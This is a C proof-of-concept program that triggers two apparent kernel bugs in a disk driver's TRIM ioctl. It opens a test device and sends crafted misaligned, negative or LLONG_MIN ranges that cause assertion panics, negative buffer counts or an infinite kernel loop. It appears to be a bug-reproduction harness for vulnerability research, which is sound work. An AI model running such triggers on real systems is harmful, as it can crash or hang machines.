DF-2276 / da_user.c
/* * da_user.c -- userland trigger for DF-2275 / DF-2276. * * Opens the FABRICATED second disk /dev/da99 (created by the harness * kernel via the real make_dev(&da_ops)) and issues a real * ioctl(DAIOCTRIM) with attacker-chosen {start, length}. * * The ioctl syscall layer copyins the 16-byte off_t[2] into a kernel * buffer (sys/kern/sys_generic.c:681-724) and dispatches through the * real d_ioctl = daioctl. Everything after that is real kernel code. * * modes: * aligned {0, 4096} control: 512-aligned positive TRIM * bignormal {0, 0x7FFF8000} control: single max-size TRIM (64 ranges) * mlen {0, 4096+8} DF-2275: bytes_left % 512 != 0 -> KKASSERT panic * moff {512+8, 4096} DF-2275: bytes_start % 512 != 0 -> KKASSERT panic * neg {0, -4096} DF-2276: negative b_bcount to strategy * llmin {0, LLONG_MIN} DF-2276: infinite zero-block TRIM loop */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <stdio.h> #include <string.h> #include <time.h> #include <unistd.h> #define DAIOCTRIM _IOW('C', 128, off_t[2]) static double now_sec(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (ts.tv_sec + ts.tv_nsec / 1e9); } int main(int argc, char **argv) { const char *mode = (argc > 1) ? argv[1] : "aligned"; off_t start = 0, len = 4096; off_t req[2]; double t0, t1; int fd, r; if (strcmp(mode, "aligned") == 0) { start = 0; len = 4096; } else if (strcmp(mode, "bignormal") == 0) { start = 0; len = 0x7FFF8000; } else if (strcmp(mode, "mlen") == 0) { start = 0; len = 4096 + 8; } else if (strcmp(mode, "moff") == 0) { start = 512 + 8; len = 4096; } else if (strcmp(mode, "neg") == 0) { start = 0; len = -4096; } else if (strcmp(mode, "llmin") == 0) { start = 0; len = LLONG_MIN; } else { fprintf(stderr, "unknown mode %s\n", mode); return (2); } fd = open("/dev/da99", O_RDWR); if (fd < 0) { printf("open(/dev/da99): FAILED: %s\n", strerror(errno)); return (1); } req[0] = start; req[1] = len; printf("mode=%-9s start=%lld (0x%llx) len=%lld (0x%llx) " "DAIOCTRIM=0x%lx -> ioctl...\n", mode, (long long)start, (unsigned long long)start, (long long)len, (unsigned long long)len, (unsigned long)DAIOCTRIM); fflush(stdout); t0 = now_sec(); r = ioctl(fd, DAIOCTRIM, req); t1 = now_sec(); printf("ioctl returned r=%d errno=%d (%s) in %.3f sec\n", r, errno, r ? strerror(errno) : "success", t1 - t0); close(fd); return (0); } |